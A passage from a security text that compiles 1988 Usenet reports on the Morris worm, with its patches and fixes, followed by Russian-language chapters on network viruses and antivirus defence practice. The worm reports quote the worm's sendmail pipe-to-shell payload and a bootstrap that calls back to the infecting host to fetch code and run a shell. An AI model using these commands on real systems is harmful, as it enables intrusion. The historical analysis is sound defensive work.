files (presumably to /tmp).  After the files are copied, it exec's
a shell  with standard  input  coming  from  the  infecting  virus
program on the other end of the socket.

From here,  I speculate  on what  happens since  I can't  find the
source to this part lying around on our machines:

5) The  newly exec'd  shell attempts  to compile  itself from  the
files copied  over to  the target machine.  I'm not sure what else
the virus  does, if anything -- it may also be attempting to add a
bogus passwd  file entry  or do something to the file system.  The
helper program  has an  array of  20 filenames for the "helper" to
copy over,  so there  is room  to spare.   There  are two versions
copied --  a version  for Vax  BSD and  a version  for SunOS;  the
appropriate one is compiled.

6) The  new virus  is dispatched.   This virus opens all the virus
source files, then unlinks the files so they can't be found (since
it has  them open,  however, it  can still  access the  contents).
Next, the  virus steps through the hosts file (on the Sun, it uses
YP to  step through  the distributed hosts file) trying to connect
to other  machines' sendmail. If a connection succeeds, it forks a
child process  to infect it, while the parent continues to attempt
infection of other machines.

7) The  child requests  and initializes  a new socket, then builds
and invokes  a listener  with the  new socket number and hostid as
arguments (#1, above).

The heavy  load we see is the result of multiple viruses coming in
from multiple sites.  Since local hosts files tend to have entries
for other  local hosts,  the virus  tends to infect local machines
multiple times  -- in  some senses  this is  lucky since  it helps
prevent the spread of the virus as the local machines slow down.

The virus  also "cleans"  up after  itself.    If  you  reboot  an
infected machine  (or it  crashes), the /tmp directory is normally
cleaned up  on reboot.  The other incriminating files were already
deleted by the virus itself.

Clever, nasty, and definitely anti-social.

--spaf

------------------------------------------------------------------
-------
From:        bishop@bear.Dartmouth.EDU        (Matt        Bishop)
Subject:           More           on           the           virus
Date: Thu, 3 Nov 88 16:32:25 EST

... This  program introduced  itself through a bug in sendmail. At
these sites,  sendmail was compiled and installed with a debugging
option turned  on. As near as I can figure (I don't have access to
the sendmail  sources), by giving a specific option to the "debug"
command in  sendmail (there  are lots  of those,  controlling what
exactly you  get information  about) you can cause it to execute a
command. As  sendmail runs  setuid to  root, guess what privileges
the command is executed with. Right.

Apparently what  the attacker did was this: he or she connected to
sendmail (ie,  telnet victim.machine  25), issued  the appropriate
debug command,  and had  a small  C program compiled. (We have it.
Big deal.)  This program  took as  an argument  a host number, and
copied two  programs -- one ending in q.vax.o and the other ending
in .sun.o  -- and  tried to  load and execute them. In those cases
where the  load and  execution succeeded,  the worm did two things
(at least):  spawn a  lot of  shells that did nothing but clog the
process table  and burn  CPU cycles;  look in  two places  --  the
password file and the internet services file -- for other sites it
could connect  to (this  is hearsay,  but I  don't doubt  it for a
minute.) It  used both  individual .rhost  files (which  it  found
using the  password file),  and any  other remote  hosts it  could
locate which  it had  a chance  of connecting to. It may have done
more; one  of our  machines had  a changed superuser password, but
because of other factors we're not sure this worm did it.

This last  part is  still sketchy;  I have the relevant sun.o file
and will  take it apart to see just what it was supposed to do. As
of now,  it appears  there was  no serious damage (just wasted CPU
cycles and system administrator time).

   Two obvious points:

1. Whoever did this picked only on suns and vaxen. One site with a
lot of  IRISes and two Crays (ie, NASA Ames) got bit on their Suns
and Vaxen, but the attempt to get the other machines didn't work.

2. This shows the sorry state of software and security in the UNIX
world. People  should NEVER  put a program with debugging hooks in
it,     especially when the hook is (or can be made) to execute an

arbitrary     command. But that is how the sendmail which was used
was distributed!

One more interesting point: initially, I thought an application of
the "principle  of least  privilege"  would  have  prevented  this
penetration. But  the attacker used a world-writeable directory to
squirrel the  relevant programs  in, so -- in effect -- everything
could have  been done  by any  user on  the  system!  (Except  the
superuser password  change, of  course -- if this worm did in fact
do it.)

I think  the only way to prevent such an attack would have been to
turn off  the debug option on sendmail; then the penetration would
fail. It goes to show that if the computer is not secure (and like
you, I  don't believe there ever will be such a beastie), there is
simply no  way to  prevent a virus (or, in this case, a worm) from
getting into that system.

I know this is somewhat sketchy, flabby, and fuzzy, but it's all I
know so far. I'll keep you posted on developments ...

Matt

------------------------------------------------------------------
-------
From: bostic@okeeffe.Berkeley.EDU (Keith Bostic)
Subject: Virus (READ THIS IMMEDIATELY)
Date: 3 Nov 88 10:58:55 GMT

Subject: Fixes for the virus
Index: usr.lib/sendmail/src/srvrsmtp.c       4BSD

Description:
There's a  virus running  around; the  salient  facts.  A  bug  in
sendmail has been used to introduce a virus into a lot of Internet
UNIX systems.  It has not been observed to damage the host system,
however, it's  incredibly virulent, attempting to introduce itself
to every  system it  can find.  It  appears  to  use  rsh,  broken
passwords, and  sendmail  to  introduce  itself  into  the  target
systems. It affects only VAXen and Suns, as far as we know.

There are three changes that we believe will immunize your system.
They are attached.

Thanks to  the Experimental Computing Facility, Center for Disease
Control  for   their  assistance.  (It's  pretty  late,  and  they
certainly deserved some thanks, somewhere!)

Fix:
First, either  recompile or patch sendmail to disallow the `debug'
option.  If  you  have  source,  recompile  sendmail  after  first
applying the following patch to the module svrsmtp.c:

*** /tmp/d22039 Thu Nov 3 02:26:20 1988
--- srvrsmtp.c  Thu Nov 3 01:21:04 1988
***************
*** 85,92 ****
  "onex",CMDONEX,
  # ifdef DEBUG
  "showq",CMDDBGQSHOW,
- "debug",CMDDBGDEBUG,
  # endif DEBUG
  # ifdef WIZ
  "kill",CMDDBGKILL,
  # endif WIZ
--- 85,94 ----
  "onex",CMDONEX,
  # ifdef DEBUG
  "showq",CMDDBGQSHOW,
  # endif DEBUG
+ # ifdef notdef
+ "debug",CMDDBGDEBUG,
+ # endif notdef
  # ifdef WIZ
  "kill",CMDDBGKILL,
  # endif WIZ

Then, reinstall  sendmail, refreeze  the configuration file, using
the command  "/usr/lib/sendmail -bz", kill any running sendmail's,
using the  ps(1) command and the kill(1) command, and restart your
sendmail. To  find out  how sendmail is execed on your system, use
grep(1) to  find the  sendmail start  line  in  either  the  files
/etc/rc or /etc/rc.local

If you  don't have  source, apply  the  following  patch  to  your
sendmail binary.  SAVE A  COPY OF  IT FIRST,  IN CASE YOU MESS UP!
This is  mildly tricky -- note, some versions of strings(1), which
we're going to use to find the offset of the string "debug" in the
binary print  out the  offsets in  octal,  not  decimal.  Run  the
following shell  line to  decide how  your version  of  strings(1)
works:

/bin/echo 'abcd' | /usr/ucb/strings -o

Note, make sure the eight control 'G's are preserved in this line.
If this command results in something like:

0000008 abcd

your strings(1) command prints out locations in decimal, else it's
octal.

The patch  script for sendmail. NOTE, YOUR OFFSETS MAY VARY!! This
script assumes that your strings(1) command prints out the offsets
in decimal.

Script started on Thu Nov 3 02:08:14 1988
okeeffe:tmp {2} strings -o -a /usr/lib/sendmail | egrep debug
0096972 debug
okeeffe:tmp {3} adb -w /usr/lib/sendmail
?m 0 0xffffffff 0
0t10$d
radix=10 base ten
96972?s
96972:debug
96972?w 0
96972:25701    =    0
okeeffe:tmp {4} ^D

script done on Thu Nov  3 02:09:31 1988

If your strings(1) command prints out the offsets in octal, change
the
line "0t10$d" to "0t8$d".

After you've  fixed sendmail,  move both  /bin/cc and  /bin/ld  to
something
else. (The virus uses the cc and the ld commands to rebuild itself
to
run on your system.)

Finally, kill  any processes  on your  system  that  don't  belong
there. Suspicious ones have "(sh)" or "xNNNNNNN" where the N's are
random digits, as the command name on the ps(1) output line.

One more  thing, if  you find  files in /tmp or /usr/tmp that have
names    like     "xNNNNNN,l1.c",    or    "xNNNNNN,sun3.o",    or
"xNNNNNNN,vax.o" where  the N's  are random  digits,  you've  been
infected.

------------------------------------------------------------------
-------
From: news@cs.purdue.EDU (News Knower)
Subject: Re: The virus
Date: 3 Nov 88 19:58:27 GMT

The  patch  from  Keith  Bostic  in  the  last  message  is  *not*
sufficient to  halt the  spread of  the virus.  We have discovered
from looking  at the  binaries that  the virus  also  attempts  to
spread itself  via "rsh"  commands to  other  machines.  It  looks
through a *lot* of files to find possible vectors to spread.

If you  have a  bunch of  machines with hosts.equiv set or .rhosts
files, you  should shut them *all* down at the same time after you
have fixed sendmail to prevent a further infestation. If you don't
clear out  the versions  in memory,  you won't  protect your other
machines.

The virus runs itself with the name "sh" and then overwrites argv,
so if  a "ps  ax" shows  any  processes  named  "(sh)"  without  a
controlling tty,  you have a problem. Due to the use of other uids
from rsh,  don't make  any conclusions  if the  uid is one of your
normal users.

Also, check  your mailq  (do a  mailq command).  If  you  see  any
entries that  pipe themselves through sed and sh, delete them from
the queue before
you restart your machines.

Non-internet sites  do not  need to  worry about  this virus  (for
now!), but  be aware  that  mail  and  news  may  not  be  flowing
everywhere for  some time -- many sites are disconnecting from the
Internet completely until the virus is contained.

------------------------------------------------------------------
-------
From:          Gene           Spafford           <spaf@purdue.edu>
Subject:             Updated              worm              report
Date: Fri, 04 Nov 88 00:27:54 EST

This is  an updated description of how the worm works (note: it is
technically a  worm, not  a virus, since it does not attach itself
to other code {that we know about}):

All of  our Vaxen and some of our Suns here were infected with the
worm. The  worm forks  repeated copies  of itself  as it  tries to
spread itself,  and the  load averages  on the  infected  machines
skyrocketed. In  fact, it  got to  the  point  that  some  of  the
machines  ran   out  of  swap  space  and  kernel  table  entries,
preventing login to even see what was going on!

The worm  seems to  consist of two parts. The way that it works is
as follows:

1) Virus  running on an infected machine opens a TCP connection to
a victim  machine's sendmail,  invokes debug  mode, and  submits a
version of itself as a mail message.

*OR* it uses rsh to create itself on the remote machine through an
account requiring  no password  (due  to  hosts.equiv  or  .rhosts
entries).
*OR* it  gets in via a bug in fingerd *OR* it uses telnet (more on
this later).

Using the sendmail route, it does something like:
From: /dev/null
To: "|sed -e 1,/^$/d | sh; exit 0"

cd /usr/tmp
cat > x14481910.c <<'EOF'
<text of program deleted?
EOF
cc -o x14481910 x14481910.c;x14481910 128.10.2.215 32341 8712440;
rm -f x14481910 x14481910.c

2) This  program is  a simple  "listener" or  "helper" program  of
about a  hundred lines  of fairly simple code. As you can see, the
helper is  invoked with  arguments pointing  back at the infecting
worm (givinghostid/socket /checksum(?) as arguments).

3) The helper then connects to the "server" and copies a number of
files (presumably  to /tmp). After the files are copied, it exec's
a shell with standard input coming from the infecting worm program
on the other end
of the socket.

From here,  I speculate  on what  happens since  I can't  find the
source to this part lying around on our machines:

4) The  newly exec'd  shell attempts  to compile  itself from  the
files copied  over to the target machine. The command file it uses
is as follows:

PATH=/bin:/usr/bin:/usr/ucb
rm -f sh
if [ -f sh ]
then
P=x%d
else
P=sh
cc -o $P %s
/bin/echo %s
./$P -p $$

5) This  creates and  dispatches the new worm. This worm opens all
the worm  source files,  then unlinks  the files  so they can't be
found (since  it has  them open,  however, it can still access the
contents). Next,  the worm  steps through  the hosts  file (on the
Sun, it uses YP to step through the distributed hosts file) trying
to connect  to other machines' sendmail. If a connection succeeds,
it forks  a child process to infect it, while the parent continues
to attempt infection of other machines.

6) The  child requests  and initializes  a new socket, then builds
and invokes  a listener  with the  new socket number and hostid as
arguments (#1, above).

Other notes:

The  worm  runs  in  stages.  It  first  collects  info  from  the
/etc/hosts files, the hosts.equiv file, and other files containing
host names and host IP addresses. It even runs netstat to find out
what networks the machine is attached to! It uses this information
to attempt  to penetrate sendmail on those machines. It also knows
how to  penetrate "fingerd" on Vaxen (on Suns, the attempt results
in a  core dump). I will privately tell individuals how to fix the
bug in  fingerd, but  for now  change it  so it  does not  run  as
"root".

After this  first stage,  it appears to sleep for a while. Then it
starts collecting  user names and it begins probing with "rsh". It
also tries to
attack the  passwords by  trying a  set  of  built-in  words,  the
contents of  /usr/dict, and words snarfed from system files. If it
succeeds in  breaking a  local password,  it forks  a child to use
telnet to break into that account and copy itself.

As I  write this,  no one  seems to  know what  it is  supposed to
eventually do.  Perhaps it just breaks in everywhere it can. We do
know that  if it  doesn't break into any accounts or systems for a
while, it  enters a mode where it tries to break the root password
via brute  force searching. We suspect that if it succeeds it then
does very nasty things.

Other notes:

The program  corrupts its  argument vector, so it appears in a "ps
ax" as
"(sh)" (a  login shell). Don't trust any of these if you have them
running.

The program doesn't copy around source files (except the helper) -
- it  copies around  pre-compiled binaries  that are linked on the
local machine  and then  run. The worm appears to only be carrying
binaries for  68020-based Suns  and Vax  7xx  and  8800  machines.
Pyramids, Sun  2's and  Sequents are all definitely immune. (Note:
an infected 8800 is an awesome engine of contagion.)

The strings  in  the  binaries  are  encrypted  against  a  random
"strings"
invocation. If you have a binary, Keith Bostic informs me that Xor
with 0x81 will reveal interesting things, although that is not the
only mask used.

The first  observation of  the virus  I have  heard about  was 6pm
Wednesday night  in Pittsburgh. It didn't hit Purdue until about 4
this morning. We
were lucky  in that  other sites, like CMU and Princeton, were hit
around
11 last night.

Acknowledgements: Some  of the above information was obtained from
Brian Kantor  (UCSD), Keith  Bostic (UCB), Thomas Narten (Purdue),
Dan Trinkle
(Purdue), Kevin  Braunsdorf  (Purdue)  and  Miek  Rowan  (Purdue).
Thanks, guys.

------------------------------------------------------------------
-------
From:          Gene           Spafford           <spaf@purdue.edu>
Subject:               A               worm               "condom"
Date: Thu, 03 Nov 88 21:20:10 EST

... Kevin Braunsdorf & Rich Kulawiec (Purdue-CC) have come up with
a "condom"  to protect your machine against the CURRENT worm. They
are not
100% sure it works, but it seems to be completely effective and it
can't
do any harm. As ROOT, do:

mkdir /usr/tmp/sh
chmod 111 /usr/tmp/sh

Then edit  your rc.local file to recreate the directory in case of
a reboot.  This will  not stop  a current  infection, but  it will
prevent any new ones from taking hold -- it prevents the worm from
creating replicas.

... --spaf

------------------------------------------------------------------
-------
From: Gene Spafford <spaf@purdue.edu>
Subject: A cure!!!!!
Date: Thu, 03 Nov 88 22:04:15 EST

FLASH!!

Kevin ("Adb's  your friend.") Braunsdorf just burst into my office
with a cure discovered in the disassembled worm binary.

If there is an external variable in the library named "pleasequit"
that is  non-zero, the  worm will  die immediately  after exiting.
Thus, to  kill any new worms, include a patch in your library that
defines the  symbol. The following shell file and source code will
modify your C library to define this symbol.

It WON'T  kill any  currently linked  and running versions, but it
will prevent reinfection.

# Shar archive.  Give the following as
# input to /bin/sh
# Packed Thu Nov  3 21:56:35 EST 1988
# by spaf@uther.cs.purdue.edu
#
#  This archive contains:
# foo.sh
# foo.c
#
#
echo x - foo.sh
sed 's/^X//' >foo.sh <<'*-*-END-of-foo.sh-*-*'
Xcc -c foo.c -o foo.o
Xcp /lib/libc.a /lib/libc.a.old
Xar q /lib/libc.a foo.o
Xranlib /lib/libc.a
*-*-END-of-foo.sh-*-*
echo x - foo.c
sed 's/^X//' >foo.c <<'*-*-END-of-foo.c-*-*'
Xextern int pleasequit = -1;
*-*-END-of-foo.c-*-*
exit

                  9.3. Вирусы в локальных сетях

  Проблемы, связанные  с локальными  сетями, во  многом зависят от
типа  используемой   сети.  Так,  например,  в  некоторых  дешевых
локальных сетях  дисковод сетевого  сервера доступен  как  обычный
диск. Это  означает, что  обычный файловый  вирус, попав  на  диск
центрального сервера будет распространяться по всей сети как будто
по обычной файловой системе отдельного персонального компьютера.
  В   более    дорогих   системах    имеется   некоторая   степень
регламентирования  доступа,   обычно  аналогичная   той,   которая
используется в  многозадачных системах  на  больших  ЭВМ.  В  этих
системах   особую    опасность   представляет    так    называемый
"суперпользователь", т.е.  пользователь имеющий  наивыший  уровень
доступа ко  всем системным ресурсам. Небрежное отношение к паролям
таких пользователей  или злоупотребление  работой с  самым высоким
статусом  доступа   существенно  облегчает   попадание  и  быстрое
распространение по  сети файловых  вирусов,  поскольку  фактически
отключает имеющиес защитные механизмы.

                        9.3.1. Вирус 1260

  Данный вирус  является сильно  модифицированным вариантом вируса
С-648 и  способен распространяться по сети Novell.   Хотя вирус не
является резидентным,  он распространяется достаточно быстро Длина
зараженные файлов  увеличиваются на 1260, причем при заражении они
шифруются ключем,  меняющимся  от  файла  к  файлу.  Отличительной
особенностью вируса  является его  способность заражать  локальные
сети.
  Исторические замечания.  Вирус был  обнаружен в Миннесоте(США) в
январе 1990 г.
  Методы и средства защиты. Детектируется полидетектором SCAN.

                10. ТЕХНОЛОГИЯ ПРИМЕНЕНИЯ СРЕДСТВ
                        ЗАЩИТЫ ОТ ВИРУСОВ

                                  "Предусмотрительность и осторож-
                                   ность одинаково важны: предус-
                                   мотрительность - чтобы вовремя
                                   заметить трудности, а осторож-
                                   ность - чтобы самым тщательным
                                   образом подготовиться к их
                                   встрече"
                                                      Р.Амунденсен

  Проблема "вирус  - средства  защиты" аналогична проблеме "оружие
нападения -  оружие защиты":  появление средств защиты стимулирует
разработку более  совершенных средств  нападения. Поэтому  следует
ожидать, что  и компьютерные  вирусы надолго  останутся актуальной
проблемой, причем совершенствование средств защиты будет сопровож-
даться и совершенствованием самих вирусов. Эта ситуация в какой-то
мере напоминает естественный отбор, в ходе которого, как известно,
выживают наиболее приспособленные.

          10.1. Классификация cредств защиты от вирусов

  Время, когда можно было работать на машине и не задумываться над
тем, что завтра ваших программ и файлов на диске не окажется, про-
шло навсегда. Впрочем, для отечественных программистов оно никогда
и не наступало, поскольку надежность магнитных носителей и устрой-
ств, использовавшихся в нашей стране, всегда оставляла желать луч-
шего. Поэтому  сейчас в  арсенал каждого пользователя должен войти
необходимый минимум  средств защиты.  Методика их применения будет
рассмотрена несколько позднее. Введем необходимые термины и приве-
дем их краткую классификацию:
  архивирование: копирование таблицы FAT, ежедневное ведение архи-
вов измененных  файлов. Это самый важный, основной метод защиты от
вирусов. Остальные методы не могут заменить ежедневное архивирова-
ние, хотя и повышают общий уровень защиты;
  входной контроль:  проверка  поступающих  программ  детекторами,
проверка соответствия  длины и контрольных сумм в сертификате дли-
нам и  контрольным суммам полученных программ; систематическое об-
нуление первых  трех байтов сектора начальной загрузки на получен-
ных незагружаемых дискетах (для уничтожения бутовых вирусов);
  профилактика: работа с дискетами, защищенными от записи, миними-
зация периодов  доступности дискеты для записи, разделение "общих"
дискет между  конкретными пользователями и разделение передаваемых
и поступающих  дискет, раздельное  хранение вновь  полученных про-
грамм и эксплуатировавшихся ранее, хранение программ на "винчесте-
ре" в архивированном виде;
  ревизия: анализ вновь полученных программ специальными средства-
ми, контроль  целостности с помощью регулярного подсчета контроль-
ных сумм  и проверки  сектора начальной загрузки перед считыванием
информации или загрузкой с дискеты, контроль содержимого системных
файлов (прежде  всего, СOMMAND.COM)  и др.  Имеется целый ряд про-
грамм-ревизоров,  обеспечивающих  подсчет  контрольных  сумм  (см.
прил.5);
  карантин: каждая  новая программа,  полученная  без  контрольных
сумм, должна проходить карантин, т.е. тщательно проверяться компе-
тентными специалистами на известные виды компьютерных вирусов, и в
течение определенного  времени за ней должно быть организовано на-
блюдение. Использование  специального  имени  пользователя  в  ADM
(Advanced Disk  Manager) при работе со вновь поступившими програм-
мами, причем  для этого  пользователя все остальные разделы должны
быть либо невидимы, либо иметь статус READ_ONLY;
  сегментация: использование  ADM для разбиения диска на "непотоп-
ляемые отсеки"  -- зоны  с установленным  атрибутом READ ONLY. Ис-
пользование для хранения ценной информации разделов, отличных от C
или D,  и не  указываемых в  PATH. Раздельное хранение исполняемых
программ и баз данных;
  фильтрация: применение программ-сторожей для обнаружения попыток
выполнить несанкционированные действия;
  вакцинирование: специальная обработка файлов, дисков, каталогов,
запуск резидентных программ-вакцин, имитирующих сочетание условий,
которые используются данным типом вируса для определения, заражена
уже программа, диск, компьютер или нет, т.е. обманывающих вирус;
  автоконтроль целостности:  применение резидентных  программ под-
счета контрольных  сумм перед  запуском программ,  использование в
программе специальных  алгоритмов, позволяющих  после запуска про-
граммы определить,  были внесены изменения в файл, из которого за-
гружена программа, или нет;
  терапия: дезактивация конкретного вируса в зараженных программах
специальной программой-антибиотиком  или  восстановление  первона-
чального состояния  программ путем  "выкусывания" всех экземпляров
вируса из каждого зараженного файла или диска с помощью программы-
фага.
  Как видно  из приведенного выше материала, имеется несколько ти-
пов программных  средств защиты  от вирусов. Если попытаться наме-
тить иерархию  этих средств  по их вкладу в безопасность, то пред-
ставляется, что на первом месте идут программы-архиваторы.

           10.2. Основная технологическая схема защиты

                                             "Volenum ducunt fata,
                                              nolenum trahunt"
                                          (Желающего судьба ведет,
                                               не желающего тащит)
                                               Латинская пословица

  Проблему защиты  от вирусов  целесообразно рассматривать в общем
контексте проблемы  защиты информации от несанкционированного дос-
тупа. По данной проблеме опубликован ряд монографий, среди которых
следует рекомендовать  учебник Л.Д.Хофмана  [ ]  и монографию Сяо,
Керр и  Медника [ ]. Основной принцип, который должен быть положен
в основу разработки технологии защиты от вирусов, состоит в созда-
нии многоуровневой  распределенной системы  защиты, включающей как
регламентацию операций на ЭВМ, так и специальные программные и ап-
паратные средства.  При этом  обязательно должно  существовать не-
сколько уровней защиты, причем их количество может варьироваться в
зависимости от ценности информации, которая обрабатывается на кон-
кретной ЭВM.
  Как и  в большинстве  других случаев  организации защиты, важным
преимуществом многоуровневой  защиты является  то, что наличие не-
скольких уровней позволяет компенсировать недостатки, присущие то-
му или  иному отдельному  средству защиты. Если вирус обойдет один
вид защиты, то он может "споткнуться" на другом. Автор рекомендует
схему, включающую следующие этапы:
  входной контроль новых программных средств;
  сегментацию информации на винчестере;
  защиту MS DOS и системных программ от заражения;
  систематическое использование  резидентных программ  и ревизоров
для контроля целостности информации;
  архивирование.

      10.2.1. Организация входного контроля нового программного
                           обеспечения

  Первым и  весьма важным уровнем защиты является входной контроль
поступающих программ  и дискет.  Подобно тому,  как первые захваты
авиалайнеров изменили  отношение к  проблемам досмотра пассажиров,
случаи заражения  вирусами должны  изменить отношение  к  входному
контролю программ  и дискет,  который, к сожалению, часто еще рас-
сматривается как  необязательный. Следует отдавать себе отчет, что
фактически мы столкнулись с еще одной разновидностью терроризма, и
борьба с ним требует перехода к сплошному входному контролю посту-
пающих программ  и дискет.  При этом "фирменные" дискеты не должны
составлять исключение,  так как имелись случаи поставки зараженных
программ на  дистрибутивных дискетах. Конечно, вероятность послед-
него случая существенно меньше, чем при обычном переписывании.
  Большинство известных  файловых и  бутовых вирусов можно выявить
уже на  этапе входного контроля. Эта процедура отнимает всего лишь
несколько минут, сохраняя десятки часов, потраченных затем на дез-
инфекцию или восстановление уничтоженной информации. Для этой цели
целесообразно использовать специально подобранную батарею детекто-
ров и  фагов. Можно  рекомендовать следующий  состав такой батареи
(приведенные ниже  фаги следует использовать в режиме детектирова-
ния): SCAN, TNTVIRUS, Kxx, -V, AIDSTEST,  AV, Doctor.
  Указанную батарею  можно запускать  как с  помощью обычного BAT-
файла, так и с помощью оболочки типа антивирус-интегратора (напри-
мер, AVTP).  В случае обнаружения вирусов полезно отпечатать и со-
хранить протокол  проведенного контроля. При интерпретации резуль-
татов следует учитывать возможность ложного срабатывания одного из
детекторов.

        10.2.1.1. Понятия достоверной дистрибутивной копии
                           и сертификата
  Развитие методов  маскировки вирусов  делает необходимым понятие
достоверной дистрибутивной  копии.  Здесь  возникает  определенная
проблема, в  случае если  распространяемое программное обеспечение
относится к  классу FREEWARE.  Главным критерием достоверности ди-
стрибутивной копии является соответствие длины, даты и контрольной
суммы файла  значениям, приведенным в протоколе архивирования раз-
работчика, если  конечно, таковой  имеется, или в протоколе, полу-
ченном с "только-что распечатанной" дистрибутивной версии. Следует
подчеркнуть важность  эталонного протокола, как своего рода серти-
фиката подлинности передаваемого программного обеспечения.
  Если программное  обеспечение получено  с сертификатом, то сразу
после его  получения рекомендуется  снять справку с архива и срав-
нить с сертификатом.

               10.2.1.2. Контроль текстовых строк,
                       содержащихся в файле
  Полезно просмотреть  ASCII-строки, имеющиеся  в полученных  про-
граммах, используя  LABTEST, RED, EDMSG или другую подходящую ути-
литу. Очень  важно убедиться, что полученное Вами программное обе-
спечение  не   содержит  "подозрительных"   текстовых  строк  типа
"COMMAND.COM", "PATH=", "*.COM", "????????COM",  "Kill", "Stoned",
"Virus", "Stupid",  и т.д.  (см. прил.1-4).  Поскольку большинство
разработчиков вирусов,  по-видимому, страдают "комплексом неполно-
ценности", разработка  вируса для них является патологическим спо-
собом самоутверждения. Поэтому им трудно удержаться от включения в
текст сообщений  подобного рода.  В то же время многие вирусы шиф-
руют содержащиеся  в них  строки и они становятся видны только при
трассировке программы.  Однако отрицательный  результат - тоже ре-
зультат и,  если при  визуальном просмотре  в последних 2-3К дампа
нет ни  одной текстовой  строки, то это тоже должно настораживать.
Если это является результатом упаковки EXE-файлов специальным упа-
ковщиком, распаковывающим файл в оперативной памяти перед выполне-
нием (LZEXE, EXEPACK и др.), то необходимо предварительно распако-
вать файл для анализа.

       10.2.1.3. Использование отладчиков и дизассемблеров
  Подозрительные файлы  целесообразно просмотреть с помощью отлад-
чика, позволяющего  отслеживать выдаваемые  программой  прерывания
(Periscope, Quard  Analizer). Методика их использования будет рас-
смотрена во  второй части данной работы. В cлучае выявления "подо-
зрительных" последовательностей прерываний соответствующие участки
программы следует дизассемблировать и пройти в пошаговом режиме.

                    10.2.2. Карантинный режим

                                          "Все, что хорошо начина-
                                           ется, кончается плохо,
                                           Все что начинается пло-
                                           хо, кончается еще хуже"
                                                  Из законов Мерфи

  В случае,  когда программное обеспечение получено без сертифика-
та, из сомнительного источника или не эксплуатировалось в том мес-
те, откуда  оно было  передано, первые несколько дней эксплуатацию
полученного программного обеспечения полезно выполнять в карантин-
ном режиме.  В этом режиме целесообразно использовать искусственно
ускоренный календарь,  т.е. задавать при каждом следующем экспери-
менте новый  месяц и день недели. Это повышает вероятность обнару-
жения троянской компоненты, срабатывающей в определенный месяц или
после истечения определенного календарного отрезка времени.
  Вообще говоря,  лучше всего  иметь специально выделенный "каран-
тинный" компьютер  для подобного рода экспериментов. В этом компь-
ютере все  программное обеспечение  полезно обработать,  дописав в
конец каждого  файла специальную строку, например вида "***OK***".
Дописывание таких концевых маркеров можно выполнить автоматически,
составив пакетный  файл. Их  наличие облегчает  последующий анализ
программ, поскольку  граница между  вирусом, "севшим" в конец про-
граммы, и  файлом становится  четко определенной.  Конечно, это не
исключает необходимости использования "джентльменского" набора ан-
тивирусных средств, включающего подходящий ревизор, сторож и само-
контролирующиеся программы-приманки.  Резидентные сторожа  следует
использовать лишь периодически, поскольку вирус может распознавать
присутствие таких  средств и  соответствующим образом  менять свое
поведение (на "карантинном" компьютере стоит задача обнаружить мо-
мент заражения, а не препятствовать размножению вируса).
  Если выделить карантинный компьютер не представляется возможным,
то целесообразно создать "карантинный режим" на одном из компьюте-
ров, не  содержащем особо ценных файлов или баз данных. Вход в ка-
рантинный режим  должен выполняться  с помощью  специального имени
пользователя, которому для записи доступен лишь логический диск, и
специальный "карантинный" раздел винчестера, а большинство осталь-
ных скрыто,  либо имеют статус READ_ONLY. При этом для всех компо-
нент операционной  системы и  некоторых утилит,  используемых  как
"приманка" для  вируса, следует  записать в  соответствующий  файл
контрольные суммы,  вычисленные подходящим  ревизором (при его от-
сутствии для  этой цели можно использовать любой архиватор, напри-
мер, PKZIP).
  Для компьютеров  типа PC XT, имеющих меньше 1M оперативной памя-
ти, рекомендуется  организовать из части памяти достаточно большой
электронный диск  (скажем 250К),  записать на него несколько часто
используемых системных  утилит и  "погонять" эти утилиты. Возможно
вирус "клюнет" и заразит одну из этих программ - в этом случае ре-
визор обнаружит  несовпадение контрольных  сумм и  сообщит о факте
заражения. Преимущество использования электронного диска для таких
экспериментов связано  с тем,  что  его  содержимое  автоматически
уничтожается при  перезагрузке или выключении питания. Это обеспе-
чивает дополнительную  гарантию, что  из-за  невнимательности  или
случайного стечения  обстоятельств какая-нибудь  зараженная в про-
цессе экспериментов  программа не  останется на  диске и  затем не
станет использоваться кем-нибудь другим.

10.2.2.1. Троянские компоненты в незаконно распространяемых копиях
           программ и программах со "сломанной" защитой
                                      "Ах бедность, бедность,
                                       как унижает она сердце нам"
                                                        А.С.Пушкин

  Известны случаи, когда в состав незаконной копии включались тро-
янские программы. Например, одна из программ на распространявшейся
в Донецке  дискете с незаконной копией игры FORMULA, выполняла пе-
риодическое стирание  CMOS-памяти. Следует  отметить, что наряду с
незаконно распространяемыми  игровыми программами,  которые  часто
бывают заражены вирусами, определенную опасность представляют про-
граммы со  "сломанной" защитой,  поскольку возможны  случаи, когда
снятие защиты ведет к активации троянской компоненты, заложенной в
программе. При  этом Вы можете не подозревать, что эксплуатируемая
программа является коммерческой, поскольку соответствующие сообще-
ния при  снятии защиты часто меняются или исключаются, а сама про-
грамма может  быть переименована.  Автору известны  случаи,  когда
разработчики  отечественных коммерческих систем защиты программ от
копирования предлагали  потенциальным пользователям  предусмотреть
действия, вызывающие  разрушение информации при запуске защищенной
программы "не  на том"  компьютере. Остается надеяться, что на это
предложение никто из разработчиков не клюнул.

     10.2.2.2. Троянские компоненты в антивирусных программах
  Известно несколько случаев распространения вируса с помощью тро-
янской версии антивирусной программы.

                10.2.2.3. После покупки компьютера
                 проверяйте содержимое винчестера
                                "Опыт растет прямо пропорционально
                                выведенному из строя оборудованию"
                                                  Из законов Мерфи

  Все программное  обеспечение, содержащееся  на винчестере только
что купленной  ЭВМ, целесообразно рассматривать как новое. Поэтому
при получении  новой машины, если вы не собираетесь переформатиро-
вать винчестер,  прежде всего  протестируйте винчестер и все полу-
ченные дискеты  на  наличие  вирусов.  Кооперативы,  перепродающие
ПЭВМ, зарекомендовали себя одними из главных распространителей ви-
русов. Это  связано с  тем, что перед продажей компьютер часто ис-
пользуется как  игровой автомат. Многие пользователи сообщали, что
практически все  программы на  винчестере были заражены одним или,
чаще, несколькими  различными типами вирусов. При тестировании та-
кого винчестера  не забудьте загрузиться с заведомо чистой дискеты
с операционной  системой. Если у вас еще нет опыта работы с персо-
нальными компьютерами,  желательно пригласить специалистов со сто-
роны. Получая  болгарское программное  обеспечение, будьте  внима-
тельны и  осторожны: возможно  некоторые программы заражены новыми
типами вирусов.

           10.2.3. Сегментация информации на винчестере

  Второй уровень  защиты может быть основан на сегментации винчес-
тера с  помощью специального  драйвера, обеспечивающего присвоение
отдельным логическим  дискам (разделам  винчестера) атрибута  READ
ONLY, а также простейшую схему парольного доступа. При этом в "не-
потопляемые отсеки"  (разделы с установленным атрибутом READ ONLY)
можно записать  значительную часть  исполняемых программ,  включая
большинство трансляторов и утилит. В качестве такого драйвера мож-
но применять  различные программы.  Автор рекомендует использовать
